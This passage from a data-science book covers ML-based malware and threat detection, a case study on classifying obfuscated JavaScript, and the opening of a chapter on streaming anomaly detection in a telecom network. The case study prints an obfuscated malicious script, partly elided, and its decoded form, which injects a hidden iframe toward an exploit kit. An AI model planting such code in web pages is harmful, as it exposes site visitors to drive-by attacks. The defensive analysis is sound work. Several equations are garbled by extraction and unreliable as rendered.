general in novelty detection, which is the task of classifying data that differ in
some respect from the data that are available during training [Pimentel et al. (2014)].

4.2 Malware Detection and Classification

In the past few years, hundreds of millions of new and unique malware samples have
been found every year. However, most of these samples are very similar and belong
to a few thousand malware families only (Check Point 2016). One of the reasons for
this is that today, most malware authors modify and/or obfuscate their malware on a
per victim basis. This way, they can evade simple signature-based antivirus scan-
ners. To mitigate this problem, samples from known families should be recognized
and filtered, and only new ones or samples that are “different enough” should have to
be analyzed by malware analysts (if at all). Machine learning and big data seem to be
capable solutions to handle such a large amount of continuously evolving data and to
perform highly accurate classification tasks on it. For example, the next-generation
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antivirus software from Cylance makes use of “. . . data-mining techniques to
identify the broadest possible set of characteristics of a file. These characteristics
can be as basic as the file size or the compiler used and as complex as a review of the
first logic leap in the binary” (Cylance 2017). They claim to extract the uniquely
atomic characteristics of the file depending on its type (.exe, .dll, .com, .pdf, .doc,
etc.).

The importance of this task for the research and anti-malware industry was
stressed by the fact that in 2015, Microsoft (2015) launched a contest to get new
inputs on how to do the classification of malware samples into malware families
from the community. The contestants were given a labeled training and a test data
set, each consisting of 10,000 samples from nine different malware families. The
results of this contest suggested that this task can be solved with very low multiclass
loss (around 0.003). However, to achieve this, the contestants had data such as the
assembly code of the binaries, which is difficult to extract without using dynamic
code analysis. Furthermore, modern malware hides its true nature and unpacks or
decrypts its malicious code only when run outside of an analysis environment. This
and scalability problems when having to run all suspicious binaries make approaches
based on dynamic code analysis less attractive than those based on static analysis.

Static code analysis describes all information about an application that can be
gained without running it. On Android systems, this is usually the apk file, where
security-relevant information such as API calls and even the source code itself can
easily be accessed. This is good news since G DATA (2016) reported an average of
9468 new malicious applications for Android per day during the first half of 2016. It
seems that due to their increased usage for mobile payment, mobile ticketing, and
many other business cases, mobile devices became a very attractive target for cyber
criminals.

Tam et al. (2017) provide a comprehensive overview of the challenges encoun-
tered when trying to detect and classify malicious Android applications. The authors
find that in 2012, popular antivirus systems had a detection rate from around
20–79.6%. In all cases, complex malware was not detected. In particular, the systems
often failed when the malware was obfuscated or when malicious Java code was
executed after it was dynamically loaded during runtime. They show that new
approaches from the data science domain can (easily) surpass traditional ones.
This is confirmed by Arp et al. (2014), where the proposed DREBIN method
achieves a detection rate of 97% with a low false-positive rate by combining
statistical analysis with support vector machines.

On platforms where the source code is not easily available, static analysis gets
more difficult. Narayanan et al. (2016) assess the performance of different machine
learning and pattern recognition algorithms on imaginary representations of malware
binaries. They find that samples from the same families result in a similar image
texture. With this approach, it was possible to achieve results that were nearly as
good as those of the winners of the Microsoft contest, but without having to extract
the assembly code of the malware.
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4.3 Threat Detection

Security information and event management (SIEM) (Zuech et al. 2015) technology
supports threat detection and security incident response through the (real-time)
collection and historical analysis of security events from a wide variety of events
and contextual data sources. Such events might include failed and successful
authentication attempts, the number of packets dropped by a firewall, or a report
by an antivirus program about the identification and blocking of a malicious file.

In 2016, the security operations center of IBM recorded more than 20 billion
security events per day (IBM 2016). This is still quite moderate when compared to
the numbers from fortune 100 telecommunication providers, which can face up to
one million events per second and up to 85 billion events per day (IBM 2013).
Traditional SIEM solutions relying on structured databases and (mostly) manual
definition of what is normal and malicious and/or abnormal behavior have difficul-
ties scaling up to these large amounts of data.

The use of big data solutions and machine learning is therefore the next logical
step in the evolution of such systems. Technologies such as Apache Hadoop and
Apache Spark offer fast and scalable methods to analyze vast amount of data.
According to Dark Reading (2012),

in an environment where its security systems generate 3 terabytes of data a week, just
loading the previous day’s logs into the system can [. . .] take a full day

and

searching among a month’s load of logs could take anywhere between 20 minutes to an hour
[. . .]. In our environment within HIVE, it has been more like a minute to get the same deal.

This is why companies such as HP and IBM put a lot of effort into the develop-
ment of systems using new data science technologies (IBM 2013). However,
determining which events are related to activities that are harmless, for example
because they stem from an attack that failed, and which are related to real threats, is a
challenging problem. In a large-scale experiment from HP, which had the goal to
identify malicious domains and infected hosts, more than 3 billion HTTP and DNS
Requests where collected from 900 enterprises around the world. They showed that
high true-positive rates are possible using decision trees and support vector machines
with a very limited amount of labeled data by simultaneously keeping the false-
positive rates low (Cloud Security Alliance 2013a). Another work demonstrates the
usage of a system called Beehive, which analyzed around 1 billion log messages in
an hour and successfully detected violations and infections that were otherwise not
noticed (Yen et al. 2013).
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5 Case Study: Detecting Obfuscated JavaScripts

To demonstrate the potential and the challenges of applying machine learning to
detect malware, this section describes in more detail the results of a recent analysis
that was done by Tellenbach et al. (2016).

JavaScript is a common attack vector to probe for known vulnerabilities and
subsequently to select a fitting exploit or to manipulate the Document Object Model
(DOM) of a web page in a harmful way. The JavaScripts used in such attacks are
often obfuscated to make them hard to detect using signature-based approaches. On
the other hand, since the only legitimate reason to obfuscate a script is to protect
intellectual property, there are not many scripts that are both benign and obfuscated.
A detector that can reliably detect obfuscated JavaScripts would therefore be a
valuable tool in fighting JavaScript-based attacks.

To evaluate the feasibility and accuracy of distinguishing between different
classes of JavaScript code, a classic machine learning approach was used. In the
first step, a data set was collected that contains JavaScripts and correct labels
(obfuscated or non-obfuscated). Next, 45 features were selected and extracted
from the JavaScripts in the data set. These features capture various aspects such as
frequency of certain keywords, number of lines, characters per line, number of
functions, entropy, and more. Based on this, several classification algorithms were
trained and evaluated. The following sample code was used to make visitors of a
hacked website connect to a server hosting the CrimePack exploit kit (Krebs 2017).
The script is obfuscated to hide the fact that it injects an iframe and to obfuscate the
URL it connects to:

tmssqrcaizo = "WYTUHYjE3cWYTUHYjE69WYTUHYjE66";
var makvvxmaqgh = "WYTUHYjE72";
var nlsysoyxklj =
"WYTUHYjE61WYTUHYjE6dWYTUHYjE65WYTUHYjE20WYTUHYjE6eWYTUHYjE61WYTU
HYjE6dWYT
UHYjE65WYTUHYjE3dWYTUHYjE22";
var zezugacgoqg =
"WYTUHYjE6eWYTUHYjE6fWYTUHYjE6aWYTUHYjE72WYTUHYjE73WYTUHYjE65WYTU
HYjE72WYT
UHYjE66WYTUHYjE6cWYTUHYjE72WYTUHYjE6f";
var nmcwycmeknp =
"WYTUHYjE22WYTUHYjE20WYTUHYjE77WYTUHYjE69WYTUHYjE64WYTUHYjE74WYTU
HYjE68WYT

(not shown)

var vbvvhagnggg = new Array();
vbvvhagnggg[0] = new Array(
tmssqrcaizo +
makvvxmaqgh +
nlsysoyxklj +

(not shown)

15 Security of Data Science and Data Science for Security 281



xmzvkbtpiof);
document[

"WYTUHYjEwWYTUHYjErWYTUHYjEiWYTUHYjEtWYTUHYjEeWYTUHYjE".replace(
/WYTUHYjE/g,
""

)
](

window[
"WYTUHYjEuWYTUHYjEnWYTUHYjEeWYTUHYjEsWYTUHYjEcWYTUHYjEaWYTUHYjEpW
YTUHYjEeWYTUHYjE".
replace(

/WYTUHYjE/g,
""
)
](vbvvhagnggg.toString().replace(/WYTUHYjE/g, "%"))

);

The script below is the unobfuscated version of the above script (URL is not the
original one). The de-obfuscated code is significantly easier for a security researcher
or any programmer to analyze:

document.write(
'<iframe name="nojrserflro" width="1" height="0"
src="http://localhost/index.php" marginwidth="1" marginheight="0"
title="nojrserflro" scrolling="no" border="0" frameborder="0"></
iframe>'
);

In general, there are many different ways how a script can be made hard to read
and understand.

To collect the non-obfuscated samples in the data set, JavaScripts were extracted
from the jsDelivr3 content delivery network, which contains many JavaScript librar-
ies) and the Alexa4 Top 5000 websites. This resulted in 25,837 non-obfuscated
samples, which includes both regular JavaScripts (as they have been written by the
developers) and minified JavaScripts (where whitespace have been removed and
function- and variable names have been shortened to reduce the overall size). To
collect the obfuscated samples in the data set, two different strategies were used.
First, a set of truly malicious (and obfuscated) JavaScript samples was received from
the Swiss Reporting and Analysis Centre for Information Assurance MELANI.5

However, this consisted of only 2706 samples. Therefore, additional obfuscated
samples were synthetically generated by obfuscating the non-minified JavaScripts
from the collected non-obfuscated samples. For this, six different, publicly available

3https://www.jsdelivr.com
4http://www.alexa.com
5http://www.melani.admin.ch
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obfuscators were used, which delivered an additional 73,431 samples. Overall, this
resulted in 76,137 obfuscated samples.

Based on this data set, the best classification performance could be achieved with
a boosted decision tree classifier. With this classifier, only 1.03% of the
non-obfuscated scripts were classified as obfuscated (false positives) and only
0.32% obfuscated scripts were classified as non-obfuscated (false negatives). Over-
all, boosted decision tree was the only classifier that achieved F1-scores above 99%
for both classifying obfuscated and non-obfuscated JavaScripts, demonstrating that
machine learning works well on this task.

Next, it was analyzed how well classification works to detect obfuscated
JavaScripts if the corresponding obfuscator is not used for any of the JavaScripts
that are used to train the classifier. The purpose of this analysis was to get an
understanding about how well the classifier can “learn about obfuscation in general.”
The results of this analysis varied greatly depending on the specific obfuscator left
out from the training set. For one obfuscator, the F1-score remained almost the same.
For the other obfuscators, the F1-score was impacted by a few percent up to almost
100%. Finally, it was analyzed how well the truly malicious JavaScripts can be
detected if the training set only includes the non-obfuscated and the synthetically
generated obfuscated JavaScripts. In this case, less than 50% of the malicious
JavaScripts were classified correctly as obfuscated.

This case study exhibits several interesting results and provides some lessons
learned when using machine learning to detect malware or malicious activity in
general:

• In general, classifying obfuscated and non-obfuscated JavaScripts works well,
provided that the obfuscators used for the obfuscated JavaScripts are also
represented in the data set used to train the classifier.

• Detecting obfuscated JavaScripts that use obfuscators not represented in the
training set is more difficult. While this might be improved somewhat by using
better-suited features, it clearly demonstrates that it is paramount to include
samples that use a wide range of obfuscators in the data set so the classifier can
learn a wide range of properties employed by different obfuscators. Generalizing
this to other scenarios indicates that it is important to use representative malicious
samples, whether it is actual malware or malicious activity in general.

• This directly leads to another challenge: It is difficult to get a large number of
truly malicious samples. This is not only the case for malicious JavaScripts, but in
general for “samples” that capture malicious behavior (e.g., network or system
intrusions). While creating synthetic malicious samples may help to a certain
degree, this has its limitations as it can usually not capture the full range of truly
malicious samples, as demonstrated by the final analysis described above.
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6 Conclusions and Lessons Learned

With respect to security, data science is a double-edged sword. On the one side, it
offers many new opportunities and a lot of potential to significantly improve
traditional security algorithms and solutions. Recent advances in challenging
domains such as anomaly detection, malware detection, and threat detection under-
line the tremendous potential of security data science.

On the other side, it comes with many challenges. Most of them, including
questions related to infrastructure and software security, can be addressed with the
following practices:

• Protect your information system with suitable security controls. Get an idea of the
complexity of the topic by checking out guides like the CIS top 20 security
controls (Center for Internet Security 2017) and consult with or hire experts to
protect your infrastructure.

• Implement an SSDLC to make sure that the software and services you develop are
as secure as possible and that they remain secure.

• Check out the top security problems related to a specific technology or service.
For example, the OWASP top 10 (OWASP 2017b) for web applications and
services.

• Study the default configuration and all of the configuration options of a compo-
nent to avoid insecure configurations.

• Keep in mind that anonymization is not perfect; whenever data privacy is critical,
one has to choose the anonymization method with care and balance the privacy of
the individuals and the required precision of the analyses.

• Check whether your system is susceptible to any of the various ways attackers
might try to exploit data-driven applications (data poisoning, model extraction,
etc.).

Nevertheless, recent incidents show that these practices are not widely used yet.
One of the reasons is that today’s security measures for data science heavily rely on
security by afterthought, which is not acceptable as security aspects have to be
considered during all steps of the development and product and data life cycle.

Other challenges require more research before they can be widely adopted,
including questions related to perform computations on encrypted or
anonymized data.
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Chapter 16
Online Anomaly Detection over Big Data
Streams

Laura Rettig, Mourad Khayati, Philippe Cudré-Mauroux,
and Michał Piorkówski

Abstract In many domains, high-quality data are used as a foundation for decision-
making. An essential component to assess data quality lies in anomaly detection. We
describe and empirically evaluate the design and implementation of a framework for
data quality testing over real-world streams in a large-scale telecommunication
network. This approach is both general—by using general-purpose measures
borrowed from information theory and statistics—and scalable—through anomaly
detection pipelines that are executed in a distributed setting over state-of-the-art big
data streaming and batch processing infrastructures. We empirically evaluate our
system and discuss its merits and limitations by comparing it to existing anomaly
detection techniques, showing its high accuracy, efficiency, as well as its scalability
in parallelizing operations across a large number of nodes.

1 Introduction

Data-intensive systems in many domains require an understanding of the quality of
data. Two factors go into the estimation of the trustworthiness of data sources and
analytics derived from these sources: the content and the processing methods prior to
the analyses. There is a high degree of control over the correctness of the processing,
as it lies in the hands of those developing the analytics. The quality of the data coming
from the various sources lies beyond our control and is prone to various types of error.
We therefore need to discover data quality on the existing data. Data quality issues
often present themselves as anomalies in the data. While not all anomalous data are in
fact linked to data quality, certain types of anomalies can be linked directly to faulty
data sources producing data of poor quality. It is hence necessary to detect and
understand anomalies in the data that serve as a foundation for analyses. Assessing
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data quality in real time on data streams is important for being able to react quickly
whenever real-time services are provided based on the data.

Data anomalies can manifest themselves in many different ways—for instance,
via missing values or outliers—and can be caused by erroneous procedures,
system failures, or unexpected events. While the two former causes are linked
to data quality issues, the latter is typically a property of the data. It is thus
necessary to be able to distinguish between anomalous cases. Using anomaly
detection for measuring data quality follows the assumption that the majority of
data are of high quality and non-anomalous, such that anomalies are directly
linked to data quality problems.

In this chapter, we focus on detecting anomalies on the signaling traffic of
Swisscom’s mobile cellular network, where any mobile terminal attached to the
cellular network produces signaling messages. High-level anonymized messages are
subsequently captured by the network infrastructure for the sake of quality assur-
ance. The characteristics of the signaling traffic we consider fall into the class of big
data streams, as (1) the cumulative daily volume we consider is in the order of
terabytes (TBs), (2) the signaling data is multidimensional (high variety), and (3) the
number of events per time unit is in the order of hundreds of millions per second
(high velocity).

Our system needs to meet the following properties: (1) Generality: The system
needs to adapt to different types of data, for example, multidimensional or categor-
ical. (2) Scalability: Since we are dealing with big data streams with a high velocity,
we are interested in a system that scales to a larger number of machines for parallel
processing. (3) Effectiveness: We would like to be able to quantify the statistical
soundness of the detected anomalies.

The following section provides background information on the data and technol-
ogies being used in this framework. This is followed by the presentation of the
anomaly detection system in Sect. 3. In Sect. 4, we evaluate the accuracy and
performance of the system on real-world and simulated data, and discuss the results
in Sect. 5. Section 6 presents related work on data streams and anomaly detection.
Finally, Sect. 7 concludes the work and presents the lessons learned.

2 Background Information

For a general overview, this chapter first provides a detailed introduction to
the various open source technologies that are being used in the implementation
of our anomaly detection system as well as their place in the specific domain context
at Swisscom. This is followed by a description of the two anomaly detection
measures, namely, relative entropy and Pearson correlation, which are leveraged in
the system.
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2.1 Technologies

Multiple open source streaming platforms have emerged in recent years, including
Apache Storm,1 Apache Samza,2 Apache Spark’s Streaming library,3 and Apache
Flink.4 This project uses Apache Spark (Zaharia et al. 2010) and Spark Streaming
(Zaharia et al. 2012a), the latter offering real-time processing in the form of micro-
batches with data parallelism. Data parallelism implies that the same task is
performed in parallel on multiple machines, each on a partition of the data.

2.1.1 Apache Spark

Apache Spark is a general-purpose engine for large-scale in-memory data processing
that handles both batch and stream data processing. Spark offers several advantages
over MapReduce (Dean and Ghemawat 2004), including faster in-memory execu-
tion and a high-level API that facilitates the expression of complex processing
pipelines.

Spark’s main abstraction is Resilient Distributed Datasets (RDDs) (Zaharia et al.
2012b) for representing distributed datasets. An RDD is an immutable abstraction of
distributed data; materialization of the data is done in a lazy manner that also
minimizes data shuffling between the executors over which the data are distributed.
Each executor maintains a proportion of the data in memory. In batch processing
mode, RDDs are created by loading data from storage or as a result of transforming
another RDD. Deterministic transformations of the distributed dataset, such as map,
filter, or reduce operations, yield a new RDD.

2.1.2 Spark Streaming

Apache Spark includes a streaming library called Spark streaming. The underlying
execution engine, the Spark engine, is the same for both streaming and batch modes.
Spark Streaming provides the ability to consume real-time data from various
sources, including Apache Kafka. Stream processing is based on micro-batch com-
putations and introduces a second core abstraction in addition to RDDs, Discretized
Streams (DStreams) (Zaharia et al. 2013). Micro-batch computation implies that
instances of data are not processed individually as they arrive, but instead are
buffered into very small batches that are then processed jointly. There are different
models for micro-batches: A micro-batch can either be of a fixed size (e.g., n data
points), or contain all data collected during a fixed time period (e.g., n seconds).

1http://storm.apache.org
2http://samza.apache.org
3http://spark.apache.org/streaming
4http://flink.apache.org
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In Spark Streaming’s programming model, the continuous data on the stream are
treated in micro-batches of fixed durations. DStreams are continuous sequences of
RDDs (cf. Fig. 16.1), with one RDD containing all the data belonging to one micro-
batch. DStreams can be transformed much as RDDs. A transformation on a DStream
will be applied to each incoming RDD that contains all data for the duration of one
micro-batch. Figure 16.1 shows an incoming DStream of events as a sequence of
micro-batch RDDs and the application of operators to each RDD. Windowing
groups together multiple micro-batches into batches over longer periods of time.
Output operations are performed on each RDD in the stream and include printing
results, saving data to disk, or writing data to a queue for consumption by another
application, leading to materialization of the current dataset in the stream.

A DStream’s RDDs are processed sequentially in the order in which they arrive. It
is important that any processing terminates in less than the micro-batch interval
duration. If the processing takes less than the batch duration, one micro-batch can be
processed while the receivers collect the data for the next micro-batch. Once the next
micro-batch is ready to be processed, the previous processing has completed and the
computational resources are available. If the processing takes longer than the batch
duration, new data will have to be stored until they can be processed. This way, data
add up and increasingly delay the processing. Eventually, processing will no longer
be possible, because old stream data, which have not yet been processed, had to be
removed in order to receive and store newer data.

As code can be reused with minimal adaptation between batch and stream
processing, Spark is well-suited for cases where both batch and streaming data are
to be jointly processed, or where similar pipelines exist for both real-time and batch
processing.

Fig. 16.1 DStream micro-batch model. Each box corresponds to one RDD. Operators that are
applied directly to each RDD in the DStream. Window operations that group together data from
multiple RDDs over a period of time transform one DStream to another [adapted from the Spark
Streaming Programming Guide (The Apache Software Foundation 2015)]
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2.1.3 Apache Kafka and Real-World Data Streams

In order to perform stream processing with Spark Streaming, we retrieve data
streams in real time from Apache Kafka,5 a high-throughput distributed publish/
subscribe system. Kafka is run as a cluster and can handle multiple separate streams,
called topics. Producers publish messages to a Kafka topic and consumers, such as
our application, subscribe to topics and process the streams. Topics may be
partitioned over multiple machines, called brokers in the Kafka cluster, enabling
data consumers to receive data in parallel.

As part of Swisscom’s big data infrastructure, the so-called Firehose system
provides a streaming pipeline from raw binary sources to the application layer. For
the purpose of quality assurance, a passive monitoring system collects nonpersonal
signaling events as probes on the links between local controllers and Swisscom’s
central core network. An event is triggered by any action of an anonymized network
user. Each protocol among 2G, 3G, and 4G has a separate infrastructure setup and
has its particular probe. Firehose ingests the signaling events that are obtained from
these probes in real time in binary format. All telecommunication protocols’ data are
treated as separate input streams. Specifically, 2G and 3G are each separated into two
interfaces: one monitoring voice events (e.g., phone calls) and the other monitoring
data traffic events. In total, we are considering five monitoring interfaces in this
work: A for 2G voice events, Gb for 2G data traffic events, IuCS for 3G voice events,
IuPS for 3G data traffic events, and S1-MME for all 4G events. For each of these
input streams, Firehose parses the events and then sends them to separate Kafka
topics, one per interface. From there, the events, each having a series of attributes
associated with it, are available for use in Spark Streaming applications.

The joint use of Spark Streaming and Kafka provides at least once and exactly
once processing guarantees for received records. Kafka’s fault tolerance allows a
real-time application to recover after a brief failure.

2.2 Anomaly Detection Measures

Two measures are computed over the streams in order to perform anomaly detection:
relative entropy between consecutive batches of data over a stream and Pearson
correlation between multiple streams. In this section, these two measures are briefly
explained.

Relative Entropy, or Kullback–Leibler Divergence (Kullback and Leibler 1951),
D(PkQ), is a nonsymmetric measure of information loss. Specifically, it measures
the difference between two probability distributions P and Q representing two
datasets, for example for the purpose of detecting anomalies (Lee and Xiang
2001). In our context, D(PkQ) is used to measure changes between successive
time windows over multidimensional data streams (Dasu et al. 2006). It is defined
on two probability distributions P and Q as follows:

5http://kafka.apache.org
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D PkQð Þ ¼
X

i2AP ið Þlog P ið Þ
Q ið Þ ð16:1Þ

where P(i) and Q(i) are the probability of item i in the respective probability
distribution, given by

P ið Þ ¼ miP
a2Ama

ð16:2Þ

where A is the set of all possible items i in the probability distributions and mi and ma

are the number of items i and a, respectively, in the current distribution P.
The values of P(i) and Q(i) are defined over [0, 1]. D is not defined over a fixed

range. In order to be able to interpret the value, it is therefore necessary to determine
a baseline as a range of normal values for relative entropy. Under the premise that
there exists a normal profile of the data, low relative entropy is linked to regularity.
Low relative entropy indicates that the two distributions P and Q are similar,
0 meaning identical P and Q. Anomalies are detected when the relative entropy
increases, that is, when D increases significantly compared to the baseline.

Pearson correlation coefficient is a statistical value measuring the linear depen-
dence between two vectors X and Y, which we assume are normally distributed and
contain n elements each. Pearson correlation is defined over X and Y as

r X; Yð Þ ¼
Pn

i¼1 xi � xð Þ yi � y
� �

ffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiPn
i¼1 xi � xð Þ2

q ffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi
Pn

i¼1 yi � y
� �2

r ð16:3Þ

where x and y stand for the mean of X and Y, respectively.
The coefficient r(X, Y ) ranges between 1 and �1. Positive values from (0, 1]

indicate positive correlation between X and Y, while negative values from [�1, 0)
indicate negative correlation. A positive r(X,Y ) occurs when an increase or decrease
in the values in X is met with the same trend, increase or decrease, in Y. A negative r
(X, Y ) occurs when changes in X and Y are opposing, for example, a decrease in one
vector is met with an increase in the other vector. When the Pearson correlation
coefficient is 0, there is no linear correlation between X and Y.

3 Anomaly Detection System

The system we designed for anomaly detection and its integration within the
telecommunications monitoring data pipeline is depicted in Fig. 16.2. In this high-
level overview, we show the entire data pipeline starting from cell towers on the left-
hand side to the anomaly detection results on the right-hand side.
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Signaling traffic is received from network probes. The different shades of grey in
the data flow in Fig. 16.2 coming from antennas to the monitoring probes and then
into the system represent the streams of different data types, which are received and
processed separately. For the purpose of simplicity, Fig. 16.2 has been limited to
show one network monitoring probe for each interface only. In reality, there are
multiple (physical) probes per interface type, of which the events are collected by
Firehose, the data stream enabling infrastructure. Firehose stages the data in real time
and then writes to a dedicated queue for real-time consumption. Periodically, data
are also staged to HDFS for longer-term storage and processing. As each event is
timestamped, it can be treated in the same way as real-time data and can also be used
to simulate streams. In that sense, our system emulates the so-called lambda archi-
tecture (Marz and Warren 2013) with analogous pipelines for batch and real-time
processing on the same data source.

The anomaly detection component consumes the data (either in streaming from a
Kafka queue or in batch mode from HDFS), processes them, and sends the output to
both the metrics dashboard and the alerting system.

3.1 Stream Processing

In Spark Streaming, data are processed periodically after a fixed duration as micro-
batches. The duration of the micro-batches is chosen experimentally, as it depends
on the volume of data and the processing complexity. Longer micro-batches require
more storage since more data need to be cached in-memory until the next processing
interval. On the other hand, a shorter micro-batch duration requires faster online
algorithms and cannot amortize the network overhead from shuffling data. It is
necessary that all computation finishes on average within the duration of a micro-
batch, as these are processed in sequence and will otherwise accumulate and
eventually fail.

Fig. 16.2 Overview of the stream architecture and the integration of the anomaly detection system
therein, showing the entire pipeline from telecommunication cell towers through staging and
processing to anomaly detection results
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Nine parallel streaming receivers, which represent the input interface of the Spark
Streaming component, connect as consumers to Kafka, located in Firehose. As
output from the anomaly detection component, metrics are written continuously,
whereas alerts are triggered upon detection of an anomalous event.

The actual anomaly detection—in Spark and Spark Streaming, depending on the
use case and data at hand—consists of computing measures over short time windows
and comparing the outcome to expected values. In order to perform anomaly
detection, two measures are continuously maintained over the streams: relative
entropy on individual data streams and Pearson correlation across multiple streams
obtained from different interfaces. These metrics form a constant baseline over
non-anomalous data, such that anomalous data are detected as deviations from
typical baseline values.

3.1.1 Relative Entropy Pipeline

Relative entropy is computed separately on each interface, for example, A or IuCS, by
comparing the empirical distributions of event types. The data pipeline for computing
relative entropy is shown in Fig. 16.3. As a first step, optionally, the stream is filtered
to include only events originating from an area of interest. Each batch in the incoming
DStream is mapped onto a new DStream of ((location, event type), 1) tuples, where the
identifier for the location and the type of the event form a composite key.

By summing up the values per key in a reduce operation, the number of events
per location and event type get counted. Grouping per location yields a new RDD
containing the event histograms, that is, the counts per event type and per location.
While looking at lower levels in the topology, that is, more fine-grained location
identifiers, facilitates the detection of local anomalies, a more global model is faster
to compute due to the smaller number of distinct computations.

These event histograms are interpreted as aggregates of anonymized user-
triggered actions since they capture various aspects of human activity (making a
phone call, moving across the network, etc.). P(i) represents the relative frequency of
event type i in the current distribution. Finally, for each location indicator, the
relative entropy D(PtkQt � Δt) between the current distribution Pt at time t and the
previous distribution Qt � Δt at time t � Δt is computed by summing the comparison
of each possible event type i. A higherD than in the baseline indicates the occurrence
of change. In streaming mode, the probability distribution from the previous RDD is
stored for comparing adjacent windows, yielding a distance measure between the
two time periods per location.

We now give a simplified example of how relative entropy is computed using
sample data.

Example 1 We consider streams of messages of the form [(t1, c1, e1), (t2, c2, e2), . . .]
with ci coming from the set of cell identifiers {B,C} and ei coming from the set
of possible event type identifiers A ¼ {1, 2}. A micro-batch [(t0,C, 1), (t1,C, 2),
(t2,C, 1), (t3,B, 2), (t4,C, 1), (t5,C, 1)] is obtained at a time t, with timestamps ti in the
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range of this micro-batch. The partition of the stream at time t is mapped onto [((c1,
e1), 1), ((c2, e2), 2), . . .]. We apply a reduce operation on the composite key
consisting of the cell and the event type to transform this micro-batch into tuples
containing the count for each key as follows: [((C, 1), 4), ((C, 2), 1), ((B, 2), 1)]. Since
we compute the relative entropy for each cell individually, we illustrate the compu-
tation for cell C only (similar computations are applied to all other cells). At time t in
cell C, the histogram’s counts are respectively 4 for event type 1 and 1 for event type
2. Using Eq. (16.2), the probabilities in Pt are respectively P(1) ¼ 4/5 and P(2) ¼ 1/
5. We compare the distribution Pt to that from a previous micro-batch Qt � Δt with,
say, Q(1) ¼ 2/3 and Q(2) ¼ 1/3. By applying Eq. (16.1), we obtain

D PkQð Þ ¼ 4
5 log

4
5
2
3
þ 1

5 log
1
5
1
3
¼ 0:044:

Fig. 16.3 Relative entropy D(PkQ) computation pipeline showing the parallel receiving of the
stream, transformations, and computation of the measure from the data
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3.1.2 Pearson Correlation Pipeline

In order to compute the Pearson correlation coefficient r(X,Y ) between vectors X and
Y obtained from windows at time t over two streams SX and SY, the implementation
consumes events from at least two separate interfaces. As depicted in the data
pipeline in Fig. 16.4, both streams are treated separately, mapping each stream
onto a DStream containing anonymized user IDs and then counting the number of
distinct IDs per micro-batch such that we obtain one value per micro-batch. Since we
cannot compute the correlation coefficients directly between two unbounded
streams, we opt for windowing over the stream in order to create finite vectors,
between which we are able to compute the Pearson correlation as per Eq. (16.3).
Windowing yields RDDs containing multiple counts—essentially DStreams
containing, as RDDs, the vectors X (on the windowed stream SX) and Y (on the
windowed stream SY). At this point, both streams are combined as a DStream of pairs
of RDDs, (X, Y ), with corresponding timestamps. Using the pairs of RDDs,
containing the unique input counts x1, . . . , xn and y1, . . . , yn, respectively, a
correlation coefficient for the particular time window t is computed.

A simple example on sample data illustrates the pipeline.

Example 2 Given two distinct streams of messages mapped onto a stream of
anonymized user identifiers ui of the following form [u1, . . . , un], we collect the
data during a short period of time (e.g., 10 s). Let us assume stream SX contains [A,
B,B,A,B] and stream SY contains [C,B,C,C,D,C,D,E,F,A] in this short window.
By applying a distinct operation on each stream (yielding [A,B] on SX and [A,B,C,

Fig. 16.4 Pipeline for computing the Pearson correlation r(X, Y ) between windows containing the
vectors X and Y over two streams. Two streams are received and transformed separately, then joined
to compute the correlation between corresponding windows at the same time
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D,E,F ] on SY) and then retrieving the length of this window, we obtain the count of
distinct users per micro-batch. These two counts, respectively 2 and 6, are then
written to the respective result streams RSX and RSY. After 40 s, that is, after
receiving four micro-batches on each stream, each yielding one count, the streams
contain: RSX, [2, 1, 1, 3], and RSY, [6, 5, 4, 6]. These 40 s windows of counts are
treated as vectors X and Y for this timespan, both of length 4. We group these vectors
into pairs as RSX, Y, [(2, 6), (1, 5), (1, 4), (3, 6)]. Equation (16.3) yields a Pearson
correlation of 9/ √ 55 ¼ 0.94 for this example. Consider the case where the network
monitoring probe producing events on SY fails, such that we no longer receive events
from one area. Then, by reducing the events on SY and the count of distinct users on
RSY at a certain time, for example, after 20 s, an increase in xi meets a decrease in yi.
Thus, the stream of grouped pairs is as follows: [(2, 6), (1, 5), (1, 2), (3, 5)] so that the
correlation r(X, Y ) for this pair of vectors is lower at 5/(3 √ 11) ¼ 0.5.

4 Empirical Evaluation of the Anomaly Detection System

To evaluate the efficiency and the effectiveness of our anomaly detection pipeline,
we conducted experiments on real-world data in the form of big data streams and
data loaded from HDFS. Both data sources are provided by Swisscom’s big data
infrastructure. The data we focused on for our experiments are captured at the A and
the IuCS interfaces by the probes monitoring 2G voice and 3G voice links, respec-
tively, which report network events on the telecommunication network.

We are interested in evaluating the system both in terms of its accuracy—how
well it detects anomalies—and its scalability—how well it can adapt to an increase in
computing parallelism.

4.1 Anomaly Detection Accuracy

4.1.1 Relative Entropy Accuracy

As explained previously in Sect. 3, event histograms are interpreted as an aggregate of
anonymized mobile phone users’ nonpersonal activity within the network. In the
experiments in this section, each histogram is constructed over the counts of events
per event type. Under non-anomalous circumstances, human behavior is mostly regu-
lar, that is, there is no major change in the relative proportion of the counts for each
event type and thus a low value for relative entropy between distributions. However,
large-scale anomalous events such as natural catastrophes disrupt movement patterns
and lead to sudden changes lasting over an extended period in time and cause a change
in the distribution of the events that is visible through high relative entropy values.

As a real-world example of an anomaly relating to a human event, we consider the
flood that took place in Geneva on May 2, 2015. This event caused a significant
change in the movement patterns of telecommunication network users as several
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bridges had to be closed and users had to pick new routes to get to their usual
destinations. The change in behavioral patterns implies higher relative entropy in the
anomalous scenario (on May 2) compared to the baseline scenario. This baseline is
constructed from other days with no known major disruption.

In the experiment summarized in Fig. 16.5, the relative entropy D(PkQ) is com-
puted on a per-cell level between histograms of adjacent 1 h windows, yielding one
value per cell per hour, filtered to cells within the city of Geneva. The two distributions
that are being compared are hence Pt, that is, the distribution of the event types in all
events during the 1 h period before the time t; and Qt � Δt, where Δt is 1 h, that is, the
distribution of the event types occurring between 2 h and 1 h before t.

Figure 16.5a shows the distribution of the per-cell mean relative entropy values;
that is, the mean overall hourly values during one day. For the baseline, the mean
entropy overall cell’s values D, which is approximately 0.15, determines the ranges
for the bins on the x-axis. The y-axis shows the relative proportion of cells’ daily
mean relative entropies falling into the range given on the x-axis.

The results show that the majority of cells have mean relative entropy values in
the low ranges both on normal and anomalous days. Normal days’ entropy values are
more strongly centered on 2D with lower variance, and there are few cells with
means greater than 0.3 (or 2D), unlike on the anomalous day. Figure 16.5b displays
the difference between the proportion of cells on baseline and anomalous days for
